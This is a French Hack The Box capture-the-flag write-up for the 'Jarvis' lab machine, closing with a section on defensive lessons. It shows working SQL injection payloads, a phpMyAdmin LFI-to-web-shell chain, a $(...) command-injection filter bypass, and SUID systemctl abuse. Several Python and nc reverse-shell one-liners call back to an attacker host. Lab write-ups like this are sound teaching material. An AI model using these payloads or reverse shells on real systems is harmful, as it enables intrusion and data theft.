Hack The Box – WRITEUP – JARVIS

Hack The Box – WRITEUP – JARVIS

Attaquons-nous à Jarvis. Cette machine Linux va nous permettre d’exploiter des failles très (trop) courantes avec quelques CVE intéressantes à mettre en place.

Commençons par un NMAP afin de déterminer les services disponibles.

root@test:~/htb/jarvis# nmap -sC -sV -A 10.10.10.143
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-17 18:55 CEST
Nmap scan report for 10.10.10.143
Host is up (0.11s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=7/17%OT=22%CT=1%CU=40050%PV=Y%DS=2%DC=T%G=Y%TM=5D2F530
OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=FB%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=8)OPS(
OS:O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11
OS:NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(
OS:R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8888/tcp)
HOP RTT       ADDRESS
1   105.60 ms 10.10.14.1
2   105.86 ms 10.10.10.143

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.83 seconds

Deux services sont disponibles : SSH et un serveur HTTP. Vu la version de SSH nous savons que nous n’allons pas pouvoir faire grand chose sans login et mot de passe valides. Nous nous rendons alors sur le serveur web pour découvrir un site de réservation pour un hotel :

Nous lançons aussi un coup de gobuster pour trouver d’éventuels pages et/ou dossiers.

root@test:~/htb/jarvis# gobuster dir -e -u http://supersecurehotel.htb -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://supersecurehotel.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Expanded:       true
[+] Timeout:        10s
===============================================================
2019/07/17 19:14:24 Starting gobuster
===============================================================
http://supersecurehotel.htb/.hta (Status: 403)
http://supersecurehotel.htb/.htpasswd (Status: 403)
http://supersecurehotel.htb/.htaccess (Status: 403)
http://supersecurehotel.htb/css (Status: 301)
http://supersecurehotel.htb/fonts (Status: 301)
http://supersecurehotel.htb/id (Status: 200)
http://supersecurehotel.htb/images (Status: 301)
http://supersecurehotel.htb/index.php (Status: 200)
http://supersecurehotel.htb/js (Status: 301)
http://supersecurehotel.htb/phpmyadmin (Status: 301)
http://supersecurehotel.htb/server-status (Status: 403)
===============================================================
2019/07/17 19:15:14 Finished
===============================================================

Nous repérons tout de suite une URL qui à coup sûr nous servira. Le dossier phpmyadmin va certainement être notre défi ! Qui dit phpmyadmin, dit base de donnée qui dit certainement injection sql.

En parcourant le site rien d’extraordinaire, rien de caché dans le code et très peu de pages sont disponibles.

Une page semble intéressante puisque nous pouvons passer un paramètre : http://10.10.10.143/room.php?cod=1

Essayons de mettre à la place du 1 autre chose chose comme 9-8. Le résultat nous confirme bien une injection sql possible puisque nous retombons exactement sur la même page :

Le but ici est de récupérer une paire d’identifiant pour se connecter par la suite à phpmyadmin. Pour arriver à cela, nous allons devoir déterminer le nombre de colonnes retournées par la requête. Pour cela nous allons utiliser les requêtes suivantes :

http://supersecurehotel.htb/room.php?cod=1 order by 2
http://supersecurehotel.htb/room.php?cod=1 order by 3
http://supersecurehotel.htb/room.php?cod=1 order by 4
http://supersecurehotel.htb/room.php?cod=1 order by 5
http://supersecurehotel.htb/room.php?cod=1 order by 6
http://supersecurehotel.htb/room.php?cod=1 order by 7
http://supersecurehotel.htb/room.php?cod=1 order by 8 (PLANTE)

Impossible de faire un tri sur la 8ème colonne cela veut donc dire que seul 7 colonnes sont présentes. Réalisons un union et forçons l’affichage du résultat de notre union en lieu et place des données de la chambre. Pour cela, il nous suffit de passer l’id d’une chambre inexistante ainsi le résultat de l’union sera affiché.

http://supersecurehotel.htb/room.php?cod=777777 UNION SELECT 1,2,3,4,5,6,7 LIMIT 1

Ainsi, nous pouvons voir quelles colonnes sont affichées. Ici la colonne 5, 2, 3 et 4. Lors de nos prochaines requêtes, nous allons donc placer les données que nous voulons à ces emplacements. Récupérons l’utilisateur courant et la version de la base de donnée :

http://supersecurehotel.htb/room.php?cod=777777 UNION SELECT 1,2,3,@@VERSION,user(),6,7 LIMIT 1

L’utilisateur est donc DBadmin. Ce login semble donc être admin sur toute la base de donnée. Le nom est générique et ne semble pas être spécifique à une base en particulier. Essayons donc sans plus attendre de lire la base mysql pour retrouver la liste des utilisateurs.

http://supersecurehotel.htb/room.php?cod=777777 UNION SELECT 1,2,User,Password,5,6,7 from mysql.user LIMIT 0,1 -- -

La supposition était bien vraie ! L’utilisateur est bien un super utilisateur MySQL Nous avons donc le HASH du mot de passe. Utilisons le service https://crackstation.net/ pour retrouver notre hash.

Nous avons notre mot de passe imissyou. Connectons nous à phpmyadmin avec ces identifiants.

A première vue, nous ne pouvons pas faire grand chose de plus. Récupérons la version de phpmyadmin qui est 4.8.0 et regardons sur internet ce qui existe autour de cette version. Nous trouvons de suite que cette version possède une faille de type LFI. Voici un article détaillant le fonctionnement de cette faille : https://cupuzone.wordpress.com/2018/07/23/a-little-study-about-latest-phpmyadmin-4-8-0-4-8-1-lfi-vulnerability/.

Pour tester la faille nous pouvons faire la requête suivante :

http://supersecurehotel.htb/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

La faille est donc valide, nous avons pu afficher notre fichier.

Comment allons-nous faire pour obtenir un reverse shell ? PhpMyAdmin enregistre les requêtes SQLs effectuées dans le fichier de session PHP. Il nous suffira d’exécuter une requête avec du code PHP pour que celui-ci soit exécuté. Avant tout nous devons récupérer notre session PHP. Rien de plus simple il suffit de regarder les cookies.

Enregistrons maintenant notre requête :

select '<?php echo shell_exec($_GET["shell"]);exit;?>'

Appelons notre LFI

index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_ghdc1i6inbg825eggevntrcc6oah1c7k&shell=echo '<?php if(isset($_GET["cmd"])) { echo "<pre>"; echo shell_exec($_GET["cmd"]); }' > aaaa.php

Cela va créer un fichier aaaa.php nous permettant d’exécuter des commandes.

Appelons notre fichier créé :

http://supersecurehotel.htb/phpmyadmin/aaaa.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.42",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Nous avions avant lancer un listener sur le port 1234.

Nous sommes sous l’utilisateur www-data et ne pouvons pas lire le fichier user.txt présent dans /home/pepper/.

Regardons ce que nous donne sudo via la commande sudo -l.

Nous voyons que nous pouvons exécuter un script Python sous l’utilisateur pepper. Ce fichier permet notamment d’exécuter une commande system ping pour tester une ip :

Cependant l’injection de commande ne va pas se faire de la manière la plus simple puisqu’un certain nombre de caractères sont interdits comme & ; – |, …

Pour bypasser ce check nous pouvons utiliser une autre chose que le développeur a oublié !

Nous pouvons injecter notre commande via :

$(cmd)

Créer un fichier temp avec notre reverse shell et réalisons notre injection :

echo 'nc 10.10.15.42 2345 -e /bin/sh' > /tmp/aaa.txt

sudo -u pepper ./simpler.py -p
Enter an IP: $(/bin/sh /tmp/aaa.txt)

Nous voilà connecté à pepper ! Alors lire le flag.

Attaquons-nous à l’accès root maintenant ! En regardant les fichiers avec avec un flag SUID présent nous trouvons :

pepper@jarvis:/$ find . -perm /4000
find . -perm /4000
./bin/mount
./bin/ping
./bin/systemctl
./bin/umount
./bin/su
[...]

Nous trouvons systemctl ! Avec cette commande nous allons pouvoir créer un service et l’exécuter en tant que root ! Créons donc le service :

echo -e '[Service]\nType=oneshot\nExecStart=/bin/sh -c "nc 10.10.15.42 9000 -e /bin/sh"\n[Install]\nWantedBy=multi-user.target' > /home/pepper/aaa.service
cat aaa.service :
[Service]
Type=oneshot
ExecStart=/bin/sh -c "nc 10.10.15.42 9000 -e /bin/sh"
[Install]
WantedBy=multi-user.target

Le reverse shell s’est bien connecté :

Nous pouvons lire le fichier root.txt !

Conclusion, nous avons pu prendre le contrôle de la machine juste grâce à des négligences de configuration.

Premièrement, le développeur n’a visiblement pas appliqué les règles de base en matière de sécurité. Nous avons pu réaliser une injection sql. En 2019, nous avons encore bien trop de souvent des failles de ce type.

L’administrateur système lui aussi n’a pas fait que des miracles. Déjà, laisser PhpMyAdmin accessible en public est une erreur. Surtout qu’aucune mise à jour n’est effectuée régulièrement donc nous pouvons potentiellement exploiter des failles.

Après une autre fainéantise nous a permis d’aller loin : configurer un seul utilisateur admin sur tout le serveur MySQL. Une fois encore cette négligence ne permet pas de cloisonner et donc accentue la gravité d’une attaque.

Par la suite pour les élévations de privilèges c’est identique : une mauvaise configuration du serveur et surtout une méconnaissance du fonctionnement des différents programmes et paramètres.

Le développeur du script Python a essayé d’éviter les injections de commande mais visiblement il n’avait pas toutes les connaissances nécessaires dans ce domaine pour contrer toute les attaques.

De ce fait, l’administrateur se croyait à l’abris sans penser aux conséquences et a permis l’exécution d’un script sans password.

Comme toujours c’est une suite de petites erreurs qui permet de mener à bien une attaque.

Les commentaires sont clos.